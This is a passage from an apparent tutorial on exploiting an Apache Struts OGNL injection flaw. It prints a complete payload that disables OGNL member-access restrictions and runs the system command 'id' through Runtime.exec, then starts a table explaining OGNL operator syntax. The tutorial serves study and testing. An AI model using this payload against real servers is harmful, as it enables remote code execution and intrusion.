To test the vulnerability, we will use the following payload:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
Before breaking down the payload, let's understand a few things about OGNL that will help us understand the payload better:
|
Operators |
Description |
|
${..} or %{..} |
An OGNL expression block. ... |
